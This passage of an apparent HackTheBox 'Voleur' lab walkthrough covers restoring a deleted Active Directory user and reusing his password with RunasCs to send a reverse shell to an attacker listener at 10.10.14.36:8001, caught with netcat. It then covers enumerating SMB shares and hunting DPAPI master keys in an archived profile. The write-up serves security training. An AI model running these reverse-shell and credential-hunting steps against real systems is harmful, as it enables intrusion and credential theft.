    <pre style="white-space: pre; overflow-x: auto;"><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">PS C:\Windows\system32</span><span class="win-char">&gt;</span></span> <span class="win-cmd">Get-AdObject -Filter "SamAccountName -eq 'todd.wolfe'" -IncludeDeletedObjects | Restore-ADObject</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<p>Now the user re-appears:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #012456;">
  <div class="terminal-header" style="background-color: #01173a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">DC</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">PS C:\Windows\system32</span><span class="win-char">&gt;</span></span> <span class="win-cmd">net user</span>

<span class="win-output">User accounts for \\

-------------------------------------------------------------------------------
Administrator            Guest                    jeremy.combs             
krbtgt                   lacey.miller             marie.bryant             
ryan.naylor              svc_backup               svc_iis                  
svc_ldap                 svc_winrm                todd.wolfe               
The command completed with one or more errors.</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<p>With Todd’s password in the Excel, I’ll use RunasCs.exe again to spawn a shell for him:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #012456;">
  <div class="terminal-header" style="background-color: #01173a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">DC</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">PS C:\Users\svc_winrm\desktop</span><span class="win-char">&gt;</span></span> <span class="win-cmd">.\runascs.exe todd.wolfe NightT1meP1dg3on14 cmd.exe -r 10.10.14.36:8001</span>

<span class="win-output">[*] Warning: The logon for user 'todd.wolfe' is limited. Use the flag combination --bypass-uac and --logon-type '8' to obtain a more privileged token.

[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-135fb5$\Default
[+] Async process 'C:\Windows\system32\cmd.exe' with pid 6768 created in background.</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<p>On my listener:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/voleur</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">rlwrap nc -lvnp 8001</span>
<span class="cmd-output">
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in svc_winrm.ccache
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">C:\Windows\system32</span><span class="win-char">&gt;</span></span> <span class="win-cmd">whoami</span>

<span class="win-output">voleur\todd.wolfe</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<hr />
<h2 id="escalation-from-toddwolfe">Escalation from <code class="language-plaintext highlighter-rouge">todd.wolfe</code>:</h2>
<h3 id="tcp445---smb-1">TCP445 - SMB:</h3>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/voleur</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">netexec smb 'dc.voleur.htb' -d 'voleur.htb' -k --use-kcache --shares</span>
<span class="cmd-output">
SMB         dc.voleur.htb   445    dc               [*]  x64 (name:dc) (domain:voleur.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         dc.voleur.htb   445    dc               [+] voleur.htb\todd.wolfe from ccache 
SMB         dc.voleur.htb   445    dc               [*] Enumerated shares
SMB         dc.voleur.htb   445    dc               Share           Permissions     Remark
SMB         dc.voleur.htb   445    dc               -----           -----------     ------
SMB         dc.voleur.htb   445    dc               ADMIN$                          Remote Admin
SMB         dc.voleur.htb   445    dc               C$                              Default share
SMB         dc.voleur.htb   445    dc               Finance                         
SMB         dc.voleur.htb   445    dc               HR                              
SMB         dc.voleur.htb   445    dc               IPC$            READ            Remote IPC
SMB         dc.voleur.htb   445    dc               IT              READ            
SMB         dc.voleur.htb   445    dc               NETLOGON        READ            Logon server share 
SMB         dc.voleur.htb   445    dc               SYSVOL          READ            Logon server share
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>Todd also has read access to the <code class="language-plaintext highlighter-rouge">IT</code> share, but now the <code class="language-plaintext highlighter-rouge">Second-Line Support</code> folder is shown:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/voleur</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">impacket-smbclient -k -dc-ip 10.129.10.190 'dc.voleur.htb'</span>
<span class="cmd-output">
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

Type help for list of commands
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="custom-prompt" style="color: blue; font-weight: bold;"><span class="custom-path">#</span></span> <span class="custom-cmd">use IT</span>


<span class="custom-prompt" style="color: blue; font-weight: bold;"><span class="custom-path">#</span></span> <span class="custom-cmd">ls</span>

<span class="custom-output">drw-rw-rw-          0  Wed Jan 29 19:40:01 2025 .
drw-rw-rw-          0  Fri Jul 25 05:39:59 2025 ..
drw-rw-rw-          0  Thu Jan 30 01:43:03 2025 Second-Line Support</span></pre>
  </div>
</div>

<p>It contains backups of archived users. Todd’s home directory can be found inside:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="custom-prompt" style="color: blue; font-weight: bold;"><span class="custom-path">#</span></span> <span class="custom-cmd">cd Second-Line Support</span>


<span class="custom-prompt" style="color: blue; font-weight: bold;"><span class="custom-path">#</span></span> <span class="custom-cmd">ls</span>

<span class="custom-output">drw-rw-rw-          0  Thu Jan 30 01:43:03 2025 .
drw-rw-rw-          0  Wed Jan 29 19:40:01 2025 ..
drw-rw-rw-          0  Thu Jan 30 01:43:06 2025 Archived Users</span>

<span class="custom-prompt" style="color: blue; font-weight: bold;"><span class="custom-path">#</span></span> <span class="custom-cmd">cd Archived Users</span>


<span class="custom-prompt" style="color: blue; font-weight: bold;"><span class="custom-path">#</span></span> <span class="custom-cmd">ls</span>

<span class="custom-output">drw-rw-rw-          0  Thu Jan 30 01:43:06 2025 .
drw-rw-rw-          0  Thu Jan 30 01:43:03 2025 ..
drw-rw-rw-          0  Thu Jan 30 01:43:16 2025 todd.wolfe</span>

<span class="custom-prompt" style="color: blue; font-weight: bold;"><span class="custom-path">#</span></span> <span class="custom-cmd">cd todd.wolfe</span>


<span class="custom-prompt" style="color: blue; font-weight: bold;"><span class="custom-path">#</span></span> <span class="custom-cmd">ls</span>

<span class="custom-output">drw-rw-rw-          0  Thu Jan 30 01:43:16 2025 .
drw-rw-rw-          0  Thu Jan 30 01:43:06 2025 ..
drw-rw-rw-          0  Thu Jan 30 01:43:06 2025 3D Objects
drw-rw-rw-          0  Thu Jan 30 01:43:09 2025 AppData
drw-rw-rw-          0  Thu Jan 30 01:43:10 2025 Contacts
drw-rw-rw-          0  Fri Jan 31 00:58:50 2025 Desktop
drw-rw-rw-          0  Thu Jan 30 01:43:10 2025 Documents
drw-rw-rw-          0  Thu Jan 30 01:43:10 2025 Downloads
drw-rw-rw-          0  Thu Jan 30 01:43:10 2025 Favorites
drw-rw-rw-          0  Thu Jan 30 01:43:10 2025 Links
drw-rw-rw-          0  Thu Jan 30 01:43:10 2025 Music
-rw-rw-rw-      65536  Thu Jan 30 01:43:06 2025 NTUSER.DAT{c76cbcdb-afc9-11eb-8234-000d3aa6d50e}.TM.blf
-rw-rw-rw-     524288  Wed Jan 29 23:23:07 2025 NTUSER.DAT{c76cbcdb-afc9-11eb-8234-000d3aa6d50e}.TMContainer00000000000000000001.regtrans-ms
-rw-rw-rw-     524288  Wed Jan 29 23:23:07 2025 NTUSER.DAT{c76cbcdb-afc9-11eb-8234-000d3aa6d50e}.TMContainer00000000000000000002.regtrans-ms
-rw-rw-rw-         20  Wed Jan 29 23:23:07 2025 ntuser.ini
drw-rw-rw-          0  Thu Jan 30 01:43:10 2025 Pictures
drw-rw-rw-          0  Thu Jan 30 01:43:10 2025 Saved Games
drw-rw-rw-          0  Thu Jan 30 01:43:10 2025 Searches
drw-rw-rw-          0  Thu Jan 30 01:43:10 2025 Videos</span></pre>
  </div>
</div>

<h3 id="dpapi-secrets">DPAPI Secrets:</h3>

<p><a href="https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html#what-is-dpapi">Data Protection API (DPAPI)</a> is a Windows implementation for securely storing credentials with symmetric encryption. A master key is generated using the user’s password and SID, and is used to encrypt data before storing them.</p>

<p>Typically the master key is found in <code class="language-plaintext highlighter-rouge">C:\Users\&lt;user&gt;\AppData\Roaming\Microsoft\Protect\&lt;SID&gt;\</code>, and the encrypted blobs are in <code class="language-plaintext highlighter-rouge">AppData\Roaming\Microsoft\Credentials\</code> and <code class="language-plaintext highlighter-rouge">AppData\Local\Microsoft\Credentials\</code>. However, nothing was found in these locations.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #012456;">
  <div class="terminal-header" style="background-color: #01173a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">DC</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">PS C:\Users\todd.wolfe</span><span class="win-char">&gt;</span></span> <span class="win-cmd">dir /a appdata\roaming\microsoft\protect\S-1-5-21-3927696377-1337352550-2781715495-1110</span>

<span class="win-output">Volume in drive C has no label.
Volume Serial Number is A5C3-6454

 Directory of c:\Users\todd.wolfe\appdata\roaming\microsoft\protect\S-1-5-21-3927696377-1337352550-2781715495-1110

01/31/2025  01:53 AM    &lt;DIR&gt;          .
01/29/2025  05:53 AM    &lt;DIR&gt;          ..
01/29/2025  05:53 AM               900 BK-VOLEUR
01/29/2025  05:53 AM                24 Preferred
               2 File(s)            924 bytes
               2 Dir(s)   3,834,085,376 bytes free</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
